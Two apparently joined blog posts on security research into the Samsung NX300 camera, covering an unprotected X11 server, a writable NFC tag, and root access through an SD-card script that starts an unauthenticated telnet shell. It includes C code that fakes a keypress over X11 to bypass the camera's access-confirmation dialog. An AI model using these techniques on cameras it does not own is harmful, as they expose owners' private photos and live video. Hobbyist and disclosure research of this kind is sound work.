Now we need to unmount the camera, turn it off and on again, wait some seconds, mount it, and check if we got lucky. Let's see... autoexec.log is there! Jackpot! Now we can analyze its contents, piece by piece:

Fri May  9 06:25:20 UTC 2014
uid=0(root) gid=0(root)

This output was just generated, it was running as root (yeah!), and the path looks rather boring.

[stripped boring kernel threads and some columns]
  1    2988    52 Ss    init      
139   11460  1348 S     /usr/bin/system_server
144    2652   188 Ss    dbus-daemon --system
181    3416   772 Ss    /usr/bin/power_manager
232   12268  4608 S<s+  /usr/bin/Xorg :0 -logfile /opt/var/log/Xorg.0.log -ac -noreset \
    -r +accessx 0 -config /usr/etc/X11/xorg.conf -configdir /usr/etc/X11/xorg.conf.d
243    2988    76 Ss    init      
244    2988    56 Ss    init      
245    2988    60 Ss+   init      
246    2988    56 Ss+   init      
247    2988     8 S     sh /usr/etc/X11/xinitrc
256   20200  2336 S      \_ /usr/bin/enlightenment -profile samsung \
254   19876     8 S     /usr/bin/launchpad_preloading_preinitializing_daemon
255   12648   816 S     /usr/bin/ac_daemon
259    3600     8 S     dbus-launch --exit-with-session /usr/bin/enlightenment -profile samsung \
260    2652     8 Ss    /usr/bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session
267  690688 34760 Ssl   di-camera-app-nx300
404    2988   520 S      \_ sh -c /mnt/mmc/
405    2988   552 S          \_ /bin/sh /mnt/mmc/
408    2860   996 R              \_ ps axfu

Our script is executed by di-camera-app-nx300, there is enlightenment and dbus running, and i-really-know-what-i-am-doing-and-accept-full-responsibility-for-it.

The mount point list looks pretty standard as well for an embedded device, using UBIFS for flash memory and the exfat driver for the SD card:

rootfs on / type rootfs (rw)
ubi0!rootdir on / type ubifs (ro,relatime,bulk_read,no_chk_data_crc)
devtmpfs on /dev type devtmpfs (rw,relatime,size=47096k,nr_inodes=11774,mode=755)
none on /proc type proc (rw,relatime)
tmpfs on /tmp type tmpfs (rw,relatime)
tmpfs on /var/run type tmpfs (rw,relatime)
tmpfs on /var/lock type tmpfs (rw,relatime)
tmpfs on /var/tmp type tmpfs (rw,relatime)
tmpfs on /var/backups type tmpfs (rw,relatime)
tmpfs on /var/cache type tmpfs (rw,relatime)
tmpfs on /var/local type tmpfs (rw,relatime)
tmpfs on /var/log type tmpfs (rw,relatime)
tmpfs on /var/mail type tmpfs (rw,relatime)
tmpfs on /var/opt type tmpfs (rw,relatime)
tmpfs on /var/spool type tmpfs (rw,relatime)
tmpfs on /opt/var/log type tmpfs (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
/dev/ubi2_0 on /mnt/ubi2 type ubifs (ro,noatime,nodiratime,bulk_read,no_chk_data_crc)
/dev/ubi1_0 on /mnt/ubi1 type ubifs (rw,noatime,nodiratime,bulk_read,no_chk_data_crc)
/dev/mmcblk0 on /mnt/mmc type exfat (rw,nosuid,nodev,noatime,nodiratime,uid=5000,gid=6,fmask=0022,

Remote Access

The camera is not connected to your WiFi network by default, you have to launch one of the WiFi apps first. The most reliable one for experimenting in your (protected) home network is the Email app. After you launch it, the camera looks for WiFi networks (configure your own one here), and stays connected for a long time, keeping the X server (and anything you run via open.

After tinkering around with a static dropbear binary downloaded from the Internets (and binary-patching the references to dropbear_rsa_host_key and authorized_keys), I ran into a really silly problem:

[443] May 09 12:00:45 user 'root' has blank password, rejected

Running a Telnet Server

Around the same time, I realized one thing that I should have checked first:

lrwxrwxrwx    1    17 May 22  2013 /usr/sbin/telnetd -> ../../bin/busybox

Our firmware comes with busybox, and busybox comes with telnetd - an easy to deploy remote login service. After the realization settled, the first attempt looked like we almost did it:

georg@megavolt:~$ telnet nx300
Connected to nx300.local.
Escape character is '^]'.
Connection closed by foreign host.

georg@megavolt:~$ telnet nx300
telnet: Unable to connect to remote host: Connection refused

Wow, the telnet port was open, something was running, but we crashed it! Another two mount-edit-restart-mount cycles later, the issue was clear:

telnetd: can't find free pty

Fortunately, the solution is documented. Now we can log into the camera for sure?

georg@megavolt:~$ telnet nx300
Connected to nx300.local.
Escape character is '^]'.

*                 SAMSUNG LINUX PLATFORM                   *

nx300 login: root
Login incorrect

Damn, Samsung! Why no login? Maybe we can circumvent this in some way? Does the busybox telnetd help provide any hints?

    -l LOGIN        Exec LOGIN on connect

Maybe we can replace the evil password-demanding login command with... a shell? Let us adapt our SD card script to what we have gathered:


mkdir -p /dev/pts
mount -t devpts none /dev/pts

telnetd -l /bin/bash -F > /mnt/mmc/telnetd.log 2>&1 &

Another mount-edit-restart cycle, and we are in:

georg@megavolt:~$ telnet nx300
Connected to nx300.local.
Escape character is '^]'.

*                 SAMSUNG LINUX PLATFORM                   *

nx300:/# cat /proc/cpuinfo
Processor       : ARMv7 Processor rev 8 (v7l)
BogoMIPS        : 1395.91
Features        : swp half thumb fastmult vfp edsp neon vfpv3 tls 
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x2
CPU part        : 0xc09
CPU revision    : 8

Hardware        : Samsung-DRIMeIV-NX300
Revision        : 0000
Serial          : 0000000000000000
nx300:/# free
         total       used       free     shared    buffers     cached
Mem:        512092     500600      11492          0        132      41700
-/+ buffers/cache:     458768      53324
Swap:        30716       8084      22632
nx300:/# df -h /
Filesystem                Size      Used Available Use% Mounted on
ubi0!rootdir            352.5M    290.8M     61.6M  83% /
nx300:/# ls -al /opt/sd0/DCIM/100PHOTO/
total 1584
drwxr-xr-x    2 root     root           520 May 22  2013 .
drwxr-xr-x    3 root     root           232 May 22  2013 ..
-rwxr-xr-x    1 root     root        394775 May 22  2013 SAM_0015.JPG
-rwxr-xr-x    1 root     root        335668 May 22  2013 SAM_0016.JPG   [Obama was here]
-rwxr-xr-x    1 root     root        357591 May 22  2013 SAM_0017.JPG
-rwxr-xr-x    1 root     root        291493 May 22  2013 SAM_0018.JPG
-rwxr-xr-x    1 root     root        232470 May 22  2013 SAM_0019.JPG

Congratulations, you have gained network access to yet another Linux appliance! From here, you should be able to perform anything you want on the camera, except from the interesting things closed in the Samsung binaries.

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Posted 2014-05-12 18:05 Tags: net

The Samsung NX300 smart camera is a middle-class mirrorless camera with NFC and WiFi connectivity. You can connect it with your local WiFi network to upload directly to cloud services, share pictures via DLNA or obtain remote access from your smartphone. For the latter, the camera provides the Remote Viewfinder and MobileLink modes where it creates an unencrypted access point with wide-open access to its X server and any data which you would expect only to be available to your smartphone.

Because hardware engineers suck at software security, nothing else was to be expected. Nevertheless, the following will show how badly they suck, if only for documentation purposes.

This post is only covering the network connectivity of the NX300. Read the follow-up posts for getting a root shell and adding features to the camera. The smartphone app deserves some attention as well. Feel free to do your own research and post it to the project wiki.

The findings in this blog posts are based on firmware version 1.31.


The NFC "connectivity" is an NTAG203 created by NXP, which is pre-programmed with an NDEF message to download and launch the (horribly designed) Samsung SMART CAMERA App from Google Play, and to inform the app about the access point name provided by this individual camera:

Type: MIME: application/com.samsungimaging.connectionmanager
Payload: AP_SSC_NX300_0-XX:XX:XX

Payload: com.samsungimaging.connectionmanager

The tag is writable, so a malicious user can easily "hack" your camera by rewriting its tag to download some evil app, or to open nasty links in your web browser, merely by touching it with an NFC-enabled smartphone. This was confirmed by replacing the tag content with an URL.

The deployed tag supports permanent write-locking, so if you know a prankster nerd, you might end up with a camera stuck redirecting you to a hardcore porn site.

WiFi Networking

You can configure the NX300 to enter your WiFi network, it will behave like a regular client with some open services, like DLNA. Let us see what exactly is offered by performing a port scan:

megavolt:~# nmap -sS -O nx300

Starting Nmap 6.25 ( ) at 2013-11-21 22:37 CET
Nmap scan report for nx300.local (
Host is up (0.0089s latency).
Not shown: 999 closed ports
6000/tcp open  X11
MAC Address: A0:21:95:**:**:** (Unknown)
No exact OS matches for host (If you know what OS is running on it, see ).

This scan was performed while the "E-Mail" application was open. In AllShare Play and MobileLink modes, 7676/tcp is opened in addition. Further, in Remote Viewfinder mode, the camera also opens 7679/tcp.

X Server

Wait, what? X11 as an open service? Could that be true? For sure it is access-locked via TCP to prevent abuse?

georg@megavolt:~$ DISPLAY=nx300:0 xlsfonts

georg@megavolt:~$ DISPLAY=nx300:0 xrandr
Screen 0: minimum 320 x 200, current 480 x 800, maximum 4480 x 4096
LVDS1 connected 480x800+0+0 (normal left inverted right x axis y axis) 480mm x 800mm
   480x800        60.0*+
HDMI1 disconnected (normal left inverted right x axis y axis)

georg@megavolt:~$ for i in $(xdotool search '.') ; do xdotool getwindowname $i ; done
Defaulting to search window name, class, and classname
Enlightenment Background
Enlightenment Black Zone (0)

Enlightenment Frame
Enlightenment Frame

Nope! This is really an unprotected X server! It is running Enlightenment! And we can even run apps on it! But besides displaying stuff on the camera the fun seems very limited:

NX300 xteddy

X11 Key Bindings

A short investigation using xev outlines that the physical keys on the camera body are bound to X11 key events as follows:

On/Off XF86PowerOff (only when turning off)
Scroll Wheel XF86ScrollUp / XF86ScrollDown
Direct Link XF86Mail
Mode Wheel F1 .. F10
Video Rec XF86WebCam
+/- XF86Reload
Menu Menu
Fn XF86HomePage
Keypad KP_Left .. KP_Down, KP_Enter
Play XF86Tools
Delete KP_Delete

WiFi Client: Firmware Update Check

When the camera goes online, it performs a firmware version check. First, it retrieves


GET / HTTP/1.1
Content-Type: text/xml;charset=utf-8
Accept: application/x-shockwave-flash, application/, */*
Accept-Language: ko
User-Agent: Mozilla/4.0


HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/html
Date: Thu, 28 Nov 2013 16:23:48 GMT
Last-Modified: Mon, 31 Dec 2012 02:23:18 GMT
Server: nginx/0.7.65
Content-Length: 7
Connection: keep-alive

200 OK

This really looks like a no-op. But maybe this is a backdoor to allow for remote code execution? Who knows...

Then, a query to returns an empty document, but has your location data (apparently obtained from the IP) in the headers:

X-ConnMan-Status: online
X-ConnMan-Client-IP: ###.###.##.###
X-ConnMan-Client-Address: ###.###.##.###
X-ConnMan-Client-Continent: EU
X-ConnMan-Client-Country: DE
X-ConnMan-Client-Region: ##
X-ConnMan-Client-City: ###### (my actual city)
X-ConnMan-Client-Latitude: ##.166698
X-ConnMan-Client-Longitude: ##.666700
X-ConnMan-Client-Timezone: Europe/Berlin

Wow! They know where I live! At least they do not transmit any unique identifiers with the query.

As the last step, the camera is asking for firmware versions and gets redirected to an XML document with the ChangeLog.

Known versions so far:

WiFi Access Point: UPnP/DLNA

Two of the on-camera apps (MobileLink, Remote Viewfinder) open an unencrypted access point named AP_SSC_NX300_0-XX:XX:XX (where XX:XX:XX is the device part of its MAC address). Fortunately, Samsung's engineers were smart and added a user confirmation dialog to the camera UI, to prevent remote abuse:

NX300 Access Confirmation

Unfortunately, this dialog is running on a wide-open X server, so all we need is to fake an KP_Return event (based on an example by bharathisubramanian), and we can connect with whichever client, stream a live video or download all the private pictures from the SD card, depending on the enabled mode:

#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/extensions/XTest.h>
#include <unistd.h>
/* Send Fake Key Event */
static void SendKey (Display * disp, KeySym keysym, KeySym modsym){
 KeyCode keycode = 0, modcode = 0;
 keycode = XKeysymToKeycode (disp, keysym);
 if (keycode == 0) return;
 XTestGrabControl (disp, True);
 /* Generate modkey press */
 if (modsym != 0) {
  modcode = XKeysymToKeycode(disp, modsym);
  XTestFakeKeyEvent (disp, modcode, True, 0);
 /* Generate regular key press and release */
 XTestFakeKeyEvent (disp, keycode, True, 0);
 XTestFakeKeyEvent (disp, keycode, False, 0); 

 /* Generate modkey release */
 if (modsym != 0)
  XTestFakeKeyEvent (disp, modcode, False, 0);

 XSync (disp, False);
 XTestGrabControl (disp, False);

/* Main Function */
int main (){
 Display *disp = XOpenDisplay (NULL);
 sleep (1);
 /* Send Return */
 SendKey (disp, XK_Return, 0);

DLNA Service: Remote Viewfinder

The DLNA service is exposing some camera features, which are queried and used by the Android app. The device's friendly name is [Camera]NX300, as can be queried via HTTP from http://nx300:7676/smp_2_:

  <manufacturer>Samsung Electronics</manufacturer>
  <modelDescription>Samsung Camera DMS</modelDescription>
  <serialNumber>20081113 Folderview</serialNumber>

Additional SOAP services are provided for changing settings like focus and flash (/smp_3_):

BrowseObjectID BrowseFlag Filter
StartingIndex RequestedCount SortCriteria
Result NumberReturned
TotalMatches UpdateID

Another service is available for picture / video streaming (/smp_4_):

<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="" s:encodingStyle="">
    <u:GetInfomationResponse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">

After triggering the right commands, a live video stream should be available from http://nx300:7679/livestream.avi. However, a brief attempt to get some video with wget or mplayer failed.

Firmware "Source Code"

The "source code" package provided on Samsung's OSS Release Center is 834 MBytes compressed and mainly contains three copies of the rootfs image (400-500MB each), and then some scripts. The actual build root is hidden under the second paper sheet link in the "Announcements" column.

Also, there are Obamapics in TIZEN/project/NX300/image/rootdir/opt/sd0/DCIM/100PHOTO.

The project is built on an ancient version of Tizen, on which I am no expert. Somebody else needs to take this stuff apart, make a proper build environment, or port OpenWRT to it.

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Posted 2014-05-07 18:45 Tags: net